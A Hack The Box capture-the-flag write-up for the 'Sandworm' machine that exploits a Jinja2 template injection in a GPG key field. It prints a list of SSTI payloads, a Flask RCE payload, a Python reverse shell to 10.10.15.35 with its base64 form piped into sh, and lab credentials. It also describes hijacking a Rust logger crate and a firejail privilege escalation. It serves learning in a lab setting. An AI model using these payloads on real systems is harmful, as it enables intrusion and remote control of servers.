Skip to content

Latest commit

 

History

History

Sandworm

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Sandworm

Hello we are back, and today we’ve solved the First machine of the new Season of Hack the box which is rated Medium, the first one of this difficulty

So we started out as always by running an nmap scan and a gobuster one

┌──(kali㉿kali)-[~/diego/Hack_the_box/Machines/SandWorm]
└─$ cat scans/nmap.txt    
# Nmap 7.93 scan initiated Wed Jun 21 13:08:20 2023 as: nmap -sS -sC -sV -oN scans/nmap.txt 10.129.32.96
Nmap scan report for 10.129.32.96
Host is up (0.057s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 21 13:08:43 2023 -- 1 IP address (1 host up) scanned in 23.25 seconds

Here is the site

By running gobuster we can’t find anything because it doesn’t work

So we got to investigate about the pages that we can find by navigating through the site. We can see that we're dealing with a site that manages the gpg encryption, so something which was very far from us, so because of this we learnt a lot.

After moving through the pages we can spot something that maybe we can exploit to get a foothold or the last form in the /guide page.

Here we can verify the signature of a message by passing to it the key and the signed message. There is even a tutorial from the site itself below, which invite us to download the public key and sign a message

GPG Encryption

Here is a short description of this encryption

So as an asymetrical encryption in order to decrypt messages we need the private key but to encrypt them we just need the public one

  • Private key
    • Signature
    • Decryption
  • Public Key
    • Encryption
    • Signature Verification

To make our life easier the site provided us an example by giving the public key and a signed message so we can try out the things

As expected we receved the desired message of success, so now we got to test this behaviour to find some vulns

FootHold Vulnerability

By testing the box we’ve found that there is a hidden SSTI on the username of the key, while the site has to verificate the sign, this happens because of the created public key that we sent along with it. Here is a sample.

We used as username some different payloads until we found the right one or {{3*3}}

And here is while checking

Knowing this we’ve surfed trhough the net to find some vulns, and we’ve found from HackTricks an intereting image that explains all the possible versions

By looking the above image we’ve searched for the Jinjia2 version always from hacktricks, were we found some interesting payloads that we can insert to retrieve informations

[]
''
()
dict
config
request

With the injection of {{config}} we’ve found

As you can see here there are some mysql credentials that we tried to use, without any result :/

┌──(kali㉿kali)-[~]
└─$ mysql -h 10.10.11.218 -u atlas -pGarlicAndOnionZ42 -D SSA -P3306
ERROR 2002 (HY000): Can't connect to server on '10.10.11.218' (115)

So we looked for other payloads like these

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object". 
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

All of them worked but while we try to get something more like command execution nothing happens, so by looking further into another site we’ve found a specific payload for Applications made in Flask

Here is the query

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

And here is the result on the verification

We got RCE, so now we gotta get a reverse shell

Here is the way to change the username to test a new injection

After trying with different payloads we’ve found a way to get a revshell with the below python payload that we will send while decoding from base64.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.35",33456));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

So we’ve base64 encoded it

┌──(kalikali)-[~/HackTheBox/Machines/SandWorm]
└─$ cat pyshell.py | base64        
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChz
b2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE1LjM1
IiwzMzQ1NikpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29z
LmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIiknCg==

And now we can modify our username

Here is the final query

{{request.application.__globals__.__builtins__.__import__('os').popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChz\nb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE1LjM1\nIiwzMzQ1NikpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29z\nLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIiknCg==" | base64 -d | sh').read()}}

Now if we listen to the specified port we get the shell

So after this we need to take the user flag, but we are not allowed 'cause we are atlas and not silentobserver, but if we look closely to the atlas's folder we can get some ssh credentials located in the .config folder for him.`

Finally we can login and get the flag

From silentobserver we can't just fetch the user flag but even try to login into the mysql’s DB with the prevs used credentials

And inside there are some creds

It turned out that they are just a rabbit hole ‘cause used to login into an account on a secret website page, that we didn’t find before, but don’t worry we couldn’t do anything there, so let’s look further for the priv-esc

Root.txt

Here is the info by running export

As you can see we are in a container called firejail which is a python jail used to block users’ operations, so here seems that we are not allowed to do anything

So we have to turn back as silentobserver and run linpeas, where we can find an interesting file that we can run with the SUID bit.

As you can see we have firejail that we can run while being jailer as root, and then we have tipnet.rs which is runnable while being atlas.

extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("                                                     
             ,,                                      
MMP\"\"MM\"\"YMM db          `7MN.   `7MF'         mm    
P'   MM   `7               MMN.    M           MM    
     MM    `7MM `7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm  
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM    
     MM      MM   MM   ,AP M     YMM YM.    ,  MM    
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo 
                  MM                                 
                .JMML.                               

");

    let mode = get_mode();
    
    if mode == "" {
            return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();

    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username 
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }

    logger::log(username, keywords.as_str().trim(), justification.as_str());

    search_sigint(&mut conn, keywords.as_str().trim());

}

fn get_mode() -> String {

        let valid = false;
        let mut mode = String::new();

        while ! valid {
                mode.clear();

                println!("Select mode of usage:");
                print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");

                io::stdin().read_line(&mut mode).unwrap();

                match mode.trim() {
                        "a" => {
                              println!("\n[+] Upstream selected");
                              return "upstream".to_string();
                        }
                        "b" => {
                              println!("\n[+] Muscular selected");
                              return "regular".to_string();
                        }
                        "c" => {
                              println!("\n[+] Tempora selected");
                              return "emperor".to_string();
                        }
                        "d" => {
                                println!("\n[+] PRISM selected");
                                return "square".to_string();
                        }
                        "e" => {
                                println!("\n[!] Refreshing indeces!");
                                return "pull".to_string();
                        }
                        "q" | "Q" => {
                                println!("\n[-] Quitting");
                                return "".to_string();
                        }
                        _ => {
                                println!("\n[!] Invalid mode: {}", mode);
                        }
                }
        }
        return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 {
            query.push_str("OR ");
        }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query,
        |(timestamp, target, source, data)| {
            Entry { timestamp, target, source, data }
        },
        ).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}",
                 e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
        .unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
        .unwrap();

    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);

        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! {
                "timestamp" => date,
                "data" => contents,
                "hash" => &hash_hex,
                },
                ).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");

}

As you can see aboce there are some mysql creds inside the rust code

Unlkuckily another rabbitHole :/ But just at the start we can see that it exports a library or logger that we are able to modify to get command execution exactly as we do with libraries in C and python3.

Here you can see that the rust file is ran every time by atlas, so we can modify it and wait while listening

So we took a Rust reverse shell online and pasted it inside the lib.rs file located at /opt/crates/logger/src

And as you can see we got the shell as atlas but now out of the jail, we are allowed to run the firejail command as root to get the shell, by using the exploit found before. Do Not forget to upgrade the shell before running the exploit otherwise we wouldn't be able to get the PID of the spawned process

We tried sudo su - as the exploit says but it didn’t work so we tried su root and got the root shell with the flag

Finally! We solved it!

This was a pretty interesting `medium` machine of the last season 0xCY@